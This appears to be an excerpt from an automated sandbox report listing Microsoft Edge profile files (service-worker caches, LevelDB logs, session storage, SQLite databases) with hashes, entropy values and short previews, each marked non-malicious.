SHA-256:	446D294117C2FD9041E4FCDEDFA0398BF0FADC9E6412424AC9F7E4C72B6E4D9F
SHA-512:	BB87142C5C2ED9DE4890D13DD40F2B2B85BC6638615D75E54ACED7F32FF9D02183DFFD80C5A4607D537FED5B73E86E0AFBC78967842013195086FAD7513B8C51
Malicious:	false
Reputation:	unknown
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2~..m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.1267304374447455
Encrypted:	false
SSDEEP:	6:HUNcV81N723oH+TcwtE/a252KLlVUNP+q2PN723oH+TcwtE/a2ZIFUv:6s8aYeb8xLCP+vVaYeb8J2FUv
MD5:	B6A94E89D4529CAC1E1CC4755405EE72
SHA1:	E1C7834ED1D933C8416308F2E6489169D97C5E22
SHA-256:	1CFF0DD0BDC72030A5B00F141E8BBF7EF507A7D6F8EC86D13F4AA9AA7FC7671D
SHA-512:	350DD3F3BA749985F2366E7833EFD605FAEB70DA4D91215D99929DA27A029E18E00472248F21609CD8DA1CD9C58A32CA4E9B3E6B3E77B9770AAB4E3733E2ED25
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:46.605 1dcc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/18-19:01:46.696 1dcc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Reputation:	unknown
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114471
Entropy (8bit):	5.578196940611956
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKH/sLsES6n1:d9LyxPXfOxr1lMe1nL/CL/TXEmin41
MD5:	1BE8DC2A1F788D5B39CADDD922433AB0
SHA1:	38126E0638CDF4CEC9F2A3462E4E18BB6BCE0E0E
SHA-256:	AC006FBD120FCC272F26A85D34B26906C4F4EF2737A4A769FE3FE72002F1D8A7
SHA-512:	D6D87A5C657A4A6072277E52D6FE7E65C3F0FB37DF447A93C0E6EAD4DC97108498657FA04A0965827AFF0A3F53EC74CB727FA6A12696C7B79BE455E3501E1F2C
Malicious:	false
Reputation:	unknown
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188969
Entropy (8bit):	6.387204990445039
Encrypted:	false
SSDEEP:	3072:CdLFRAluegujw85fYa2L/zUMTTDnEkkPs+Rqks+:BjwoYTL/QofHqZJ
MD5:	4395B32A5101D7DB922934D305FA55BE
SHA1:	C40CFEB94239DBD27B2CD55A510D4BD6569C164C
SHA-256:	049DE2DAF759A10DB9E1932982C82F1C01E61ED06B10901B33BC97AE7723DD8E
SHA-512:	46F6025DBB79C9CC0605225D078DD6A4C70C4BA9437A3CE4370C742B9A596ABF78812762BE0F79606AD9730C8A1F7B1A1E10F4813B512DCADF28910E8C20695B
Malicious:	false
Reputation:	unknown
Preview:	0\r..m..........rSG.....0...../...............R.."....yT.........,T.8..`,.....L`.....,T...`......L`......Rc>+......exports...Rc.>......module....Rc.c......define....Rbf-......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.....b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....8Z...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Reputation:	unknown
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:GX5XTXl/lR/lxE0tllcBb+:GX5XjC0GR+
MD5:	7ED5A94AB34D7E430A3AF533583F8307
SHA1:	A30359571C26A0EB11A1846D504F3BD2BC435607
SHA-256:	9112018B21742DD4207407D91E87CCD9E202B130D240F27235AF51E7166161D2
SHA-512:	FF2218140A80C2B33E42D5BF8CE5A59C50383E07991B1236E9A61EE9FA297EF3F89C19CE6DE2FE9961C96B8BFB0FE9E5EDEE25B1DA0FA5CDC20CFE70560048F8
Malicious:	false
Reputation:	unknown
Preview:	@...sr Toy retne.........................X....,................W{.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:GX5XTXl/lR/lxE0tllcBb+:GX5XjC0GR+
MD5:	7ED5A94AB34D7E430A3AF533583F8307
SHA1:	A30359571C26A0EB11A1846D504F3BD2BC435607
SHA-256:	9112018B21742DD4207407D91E87CCD9E202B130D240F27235AF51E7166161D2
SHA-512:	FF2218140A80C2B33E42D5BF8CE5A59C50383E07991B1236E9A61EE9FA297EF3F89C19CE6DE2FE9961C96B8BFB0FE9E5EDEE25B1DA0FA5CDC20CFE70560048F8
Malicious:	false
Reputation:	unknown
Preview:	@...sr Toy retne.........................X....,................W{.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF434f7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:GX5XTXl/lR/lxE0tllcBb+:GX5XjC0GR+
MD5:	7ED5A94AB34D7E430A3AF533583F8307
SHA1:	A30359571C26A0EB11A1846D504F3BD2BC435607
SHA-256:	9112018B21742DD4207407D91E87CCD9E202B130D240F27235AF51E7166161D2
SHA-512:	FF2218140A80C2B33E42D5BF8CE5A59C50383E07991B1236E9A61EE9FA297EF3F89C19CE6DE2FE9961C96B8BFB0FE9E5EDEE25B1DA0FA5CDC20CFE70560048F8
Malicious:	false
Reputation:	unknown
Preview:	@...sr Toy retne.........................X....,................W{.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5451
Entropy (8bit):	3.42403909198672
Encrypted:	false
SSDEEP:	96:Y8eheuuQzhdmUf5MAm3ugkD9Xp+Sl+CiHwok6EQ5SLl9iSr/1VzVn2V:YzugmE5MAnD9Xp+kdiQDq5SLl9iSr/nc
MD5:	E4B9ACAE3A325C7069BA021746A54B6B
SHA1:	2EC2A0A8C5E6F1A3E50C713E2DE8E586ECF68695
SHA-256:	FDB66CC4E6AFD6A97E6FC9FEE2592FDD4035D1E86F49167239478D286AD05ACF
SHA-512:	BE17437777344924FA078089CC18082F3D1AF1CB87C99CF2F077E475603CED4986B414E750AF19990AB19EDEAEB15A2129432AF01A4D3FC699B2859D82C2C25C
Malicious:	false
Reputation:	unknown
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................=..b................next-map-id.1.Cnamespace-ad84d138_1d55_4eb8_8453_783c5c9c3391-https://ntp.msn.com/.0...V.................map-0-shd_sweeper.'{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.c.a.l.-.5.c.o.l.u.m.n.c.,.p.r.e.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.t.,.p.r.g.-.1.s.w.-.m.i.t.o.t.d.u.s.-.c.,.p.r.g.-.s.p.-.l.a.y.o.u.t.,.i.c.r.s.c.a.l.l.-.s.p.o.r.t.s.,.p.r.g.-.1.s.w.-.s.a.-.q.p.v.4.0.3.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.3.b.,.p.r.g.-.1.s.w.-.s.a.c.f.x.2.-.e.n.-.n.s.5.-.t.1.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.2.,.p.r.g.-.1.s.w.-.s.a.-.d.s.p.c.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.1.s.w.-.t.p.s.n.-.d.s.t.p.r.g.1.d.c.y.1.4.-.t.,.1.s.-.t.p.s.n.-.d.s.t.d.c.y.1.4.,.1.s.-.t.p.s.n.p.1.-.d.t.d.c.,.2.4.0.9.-.n.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.134909877879686
Encrypted:	false
SSDEEP:	6:HUTDCq2PN723oH+TcwtrQMxIFUt8YUTnVFZZmw+YUT3hzkwON723oH+TcwtrQMFd:MCvVaYebCFUt8lZ/+VB5OaYebtJ
MD5:	46953C6C5BF40884B1958C3D5AFB526E
SHA1:	C388633C665C25E86500203E2D359CC7897B1CAA
SHA-256:	E336C08907B2125B575DB3776FC73DC9A2F83F6341EBDAD0EE15FF684F7F74E9
SHA-512:	A3C07B76D2F375F88C2457132033A547A7DD864DE6A73926F234743AF2CFE010D476B6563FA0EFA2B4A1EC3FBC66608F2311C21F33837B19E01F1C930BAD9F8E
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:35.037 1cb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/18-19:01:35.044 1cb0 Recovering log #3.2024/11/18-19:01:35.059 1cb0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.134909877879686
Encrypted:	false
SSDEEP:	6:HUTDCq2PN723oH+TcwtrQMxIFUt8YUTnVFZZmw+YUT3hzkwON723oH+TcwtrQMFd:MCvVaYebCFUt8lZ/+VB5OaYebtJ
MD5:	46953C6C5BF40884B1958C3D5AFB526E
SHA1:	C388633C665C25E86500203E2D359CC7897B1CAA
SHA-256:	E336C08907B2125B575DB3776FC73DC9A2F83F6341EBDAD0EE15FF684F7F74E9
SHA-512:	A3C07B76D2F375F88C2457132033A547A7DD864DE6A73926F234743AF2CFE010D476B6563FA0EFA2B4A1EC3FBC66608F2311C21F33837B19E01F1C930BAD9F8E
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:35.037 1cb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/18-19:01:35.044 1cb0 Recovering log #3.2024/11/18-19:01:35.059 1cb0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376448096695869

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.780068917573758
Encrypted:	false
SSDEEP:	24:3zn957PBP7Q5dpsAF4unxMtLp3X2amEtG1Chqp5gUUdwQWQKkOAM4It9:3x7P8/zFaLp2FEkChpUUdwQHHOpVf
MD5:	8DD8DA1EA3D10F79D90BA33EE6BE5F24
SHA1:	87A469819A97231C60735DBD13CE524F5F358C81
SHA-256:	E5FE935165145AF366805AE2F8EF24E021AD8695264066DCD8F499332948F1A1
SHA-512:	0543A5BE37C9C3D32A8C32D35092D43604B7E1C2DDF5AB27A38AE3262CEA1C13EC1EFB9E17776C542EA0585D4EA44F29D5E249EC3381ECD37D70E01D3B74BC8E
Malicious:	false
Reputation:	unknown
Preview:	SNSS.......d..i...........d..i......"d..i...........d..i.......d..i.......e..i.......e..i....!..e..i...............................d..ie..i1..,...e..i$...ad84d138_1d55_4eb8_8453_783c5c9c3391...d..i.......e..i....O.s........d..i...d..i.......................d..i....................5..0...d..i&...{46F3A197-DB49-410A-81B3-94975C835573}.....d..i.......d..i.......................e..i...........e..i........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x..........8'.....8'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8...............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.058960232006664
Encrypted:	false
SSDEEP:	6:HUiIq2PN723oH+Tcwt7Uh2ghZIFUt8YUuulZmw+YUuu3kwON723oH+Tcwt7Uh2gd:mvVaYebIhHh2FUt8sul/+su35OaYebIT
MD5:	2F68D9E31EF4C5B563B68A0E52A922C5
SHA1:	67FB460EE0AA0E57313E355C2606560C940753FF
SHA-256:	BFE936BB713E27C6E5C9E00FEF3D909A2A37A86B0ADDA9F9CA617967085D08E1
SHA-512:	6A3147526BF4A8E91D89FFBD1078D4C0D9A9E4E18E2A88F9EAF84747B7055E90076E4010218AE5D14D1A26D5A885C844082206CCCCD7804954D6ABA7F3D83329
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:34.199 1ec0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/18-19:01:34.200 1ec0 Recovering log #3.2024/11/18-19:01:34.200 1ec0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.058960232006664
Encrypted:	false
SSDEEP:	6:HUiIq2PN723oH+Tcwt7Uh2ghZIFUt8YUuulZmw+YUuu3kwON723oH+Tcwt7Uh2gd:mvVaYebIhHh2FUt8sul/+su35OaYebIT
MD5:	2F68D9E31EF4C5B563B68A0E52A922C5
SHA1:	67FB460EE0AA0E57313E355C2606560C940753FF
SHA-256:	BFE936BB713E27C6E5C9E00FEF3D909A2A37A86B0ADDA9F9CA617967085D08E1
SHA-512:	6A3147526BF4A8E91D89FFBD1078D4C0D9A9E4E18E2A88F9EAF84747B7055E90076E4010218AE5D14D1A26D5A885C844082206CCCCD7804954D6ABA7F3D83329
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:34.199 1ec0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/18-19:01:34.200 1ec0 Recovering log #3.2024/11/18-19:01:34.200 1ec0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.213924429908272
Encrypted:	false
SSDEEP:	12:PFRvVaYebvqBQFUt8Kdh/+K45OaYebvqBvJ:NdVaYebvZg8JOaYebvk
MD5:	3BD5B27FAAFA29B5B587D5578B777C44
SHA1:	8F11DA83F66FBB09276BC9E65F25EE29DB339161
SHA-256:	D55878F73F990526E967920E52BFF19F07A35FD7FF9D975921E78C4FA9F8C27A
SHA-512:	03457AFD82C87F727BED7E547E16DC8901E093B64C4BAE55DF9969BB0D2FAEAD5B88BF09F2464DE64772221AD9E77BCCE1577C8E404CDDDB9D749A4B5F963EF6
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:35.147 1cb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/18-19:01:35.148 1cb0 Recovering log #3.2024/11/18-19:01:35.152 1cb0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.213924429908272
Encrypted:	false
SSDEEP:	12:PFRvVaYebvqBQFUt8Kdh/+K45OaYebvqBvJ:NdVaYebvZg8JOaYebvk
MD5:	3BD5B27FAAFA29B5B587D5578B777C44
SHA1:	8F11DA83F66FBB09276BC9E65F25EE29DB339161
SHA-256:	D55878F73F990526E967920E52BFF19F07A35FD7FF9D975921E78C4FA9F8C27A
SHA-512:	03457AFD82C87F727BED7E547E16DC8901E093B64C4BAE55DF9969BB0D2FAEAD5B88BF09F2464DE64772221AD9E77BCCE1577C8E404CDDDB9D749A4B5F963EF6
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:35.147 1cb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/18-19:01:35.148 1cb0 Recovering log #3.2024/11/18-19:01:35.152 1cb0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\13ae6f0f-9b15-48fb-8d02-42d7b1c74d12.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\35f1e6c3-e9e1-4a03-8bea-3bc480beb5ac.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\3a3f2052-78bb-4290-bd57-2b91803dddef.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
